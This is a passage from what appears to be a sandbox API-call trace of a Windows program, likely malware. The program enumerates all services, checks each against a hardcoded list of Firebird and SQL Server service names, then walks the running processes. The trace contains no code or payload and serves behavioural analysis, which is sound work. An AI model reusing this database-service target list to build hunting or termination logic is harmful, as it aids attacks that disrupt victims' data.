hSCManager=0x41aa678, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4207e50, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4207e50, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0265.322] CloseServiceHandle (hSCObject=0x41aa678) returned 1 [0265.322] lstrlenW (lpString="Appinfo") returned 7 [0265.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0265.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0265.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0265.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0265.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0265.323] lstrlenW (lpString="AppXSvc") returned 7 [0265.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0265.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0265.323] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0265.323] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0265.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0265.323] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.323] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.323] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.323] lstrlenW (lpString="Audiosrv") returned 8 [0265.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0265.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0265.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0265.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0265.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0265.324] lstrlenW (lpString="BFE") returned 3 [0265.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.324] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.324] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.324] lstrlenW (lpString="BITS") returned 4 [0265.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0265.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0265.324] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0265.324] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0265.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0265.324] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0265.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0265.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0265.325] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0265.325] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0265.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0265.325] lstrlenW (lpString="CDPSvc") returned 6 [0265.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0265.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0265.325] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0265.325] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0265.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0265.325] lstrlenW (lpString="ClickToRunSvc") returned 13 [0265.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0265.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0265.325] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0265.325] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0265.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0265.325] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0265.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0265.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0265.325] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0265.326] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0265.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0265.326] lstrlenW (lpString="CryptSvc") returned 8 [0265.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0265.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0265.326] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0265.326] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0265.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0265.326] lstrlenW (lpString="DcomLaunch") returned 10 [0265.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.326] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.326] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.327] lstrlenW (lpString="DeviceAssociationService") returned 24 [0265.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0265.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0265.327] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0265.327] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0265.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0265.327] lstrlenW (lpString="Dhcp") returned 4 [0265.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.327] lstrlenW (lpString="Dnscache") returned 8 [0265.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.327] lstrlenW (lpString="DPS") returned 3 [0265.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0265.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0265.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0265.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0265.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0265.328] lstrlenW (lpString="DusmSvc") returned 7 [0265.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0265.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0265.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0265.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0265.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0265.328] lstrlenW (lpString="EventLog") returned 8 [0265.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0265.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0265.329] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0265.329] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0265.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0265.329] lstrlenW (lpString="EventSystem") returned 11 [0265.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.329] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.458] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.458] lstrlenW (lpString="FontCache") returned 9 [0265.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0265.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0265.458] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0265.458] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0265.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0265.458] lstrlenW (lpString="gpsvc") returned 5 [0265.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.458] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.459] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.459] lstrlenW (lpString="iphlpsvc") returned 8 [0265.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.459] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0265.459] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0265.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0265.459] lstrlenW (lpString="KeyIso") returned 6 [0265.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0265.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0265.459] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0265.459] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0265.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0265.459] lstrlenW (lpString="LanmanServer") returned 12 [0265.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0265.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0265.460] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0265.460] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0265.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0265.460] lstrlenW (lpString="LanmanWorkstation") returned 17 [0265.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.460] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0265.460] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0265.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0265.460] lstrlenW (lpString="lfsvc") returned 5 [0265.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0265.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0265.460] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0265.460] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0265.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0265.460] lstrlenW (lpString="lmhosts") returned 7 [0265.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.461] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.461] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.461] lstrlenW (lpString="LSM") returned 3 [0265.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0265.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0265.461] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0265.461] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0265.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0265.461] lstrlenW (lpString="MpsSvc") returned 6 [0265.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.461] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.462] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.462] lstrlenW (lpString="NcbService") returned 10 [0265.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0265.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0265.462] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0265.462] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0265.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0265.462] lstrlenW (lpString="netprofm") returned 8 [0265.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0265.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0265.462] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0265.462] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0265.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0265.463] lstrlenW (lpString="NgcSvc") returned 6 [0265.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0265.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0265.463] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0265.463] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0265.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0265.463] lstrlenW (lpString="NlaSvc") returned 6 [0265.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0265.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0265.463] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0265.463] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0265.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0265.463] lstrlenW (lpString="nsi") returned 3 [0265.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.464] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.464] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.464] lstrlenW (lpString="PcaSvc") returned 6 [0265.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0265.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0265.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0265.464] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0265.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0265.464] lstrlenW (lpString="PlugPlay") returned 8 [0265.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.464] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.464] lstrlenW (lpString="Power") returned 5 [0265.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.465] lstrlenW (lpString="ProfSvc") returned 7 [0265.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.465] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.465] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.465] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.465] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.465] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.465] lstrlenW (lpString="RpcSs") returned 5 [0265.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.465] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.465] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.466] lstrlenW (lpString="SamSs") returned 5 [0265.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.466] lstrlenW (lpString="Schedule") returned 8 [0265.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0265.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.466] lstrlenW (lpString="SecurityHealthService") returned 21 [0265.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0265.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0265.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0265.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0265.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0265.467] lstrlenW (lpString="SENS") returned 4 [0265.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.467] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.467] lstrlenW (lpString="Spooler") returned 7 [0265.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.467] lstrlenW (lpString="SSDPSRV") returned 7 [0265.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0265.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0265.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0265.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0265.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0265.670] lstrlenW (lpString="StateRepository") returned 15 [0265.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0265.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0265.670] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0265.670] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0265.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0265.670] lstrlenW (lpString="SysMain") returned 7 [0265.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0265.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0265.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0265.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0265.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0265.671] lstrlenW (lpString="SystemEventsBroker") returned 18 [0265.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0265.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0265.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0265.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0265.671] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4207e50 | out: hHeap=0x670000) returned 1 [0265.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f4 [0265.678] Process32FirstW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.679] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.679] lstrlenW (lpString="System") returned 6 [0265.679] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.680] lstrlenW (lpString="smss.exe") returned 8 [0265.680] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.680] lstrlenW (lpString="csrss.exe") returned 9 [0265.680] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.681] lstrlenW (lpString="wininit.exe") returned 11 [0265.681] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.682] lstrlenW (lpString="csrss.exe") returned 9 [0265.682] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: 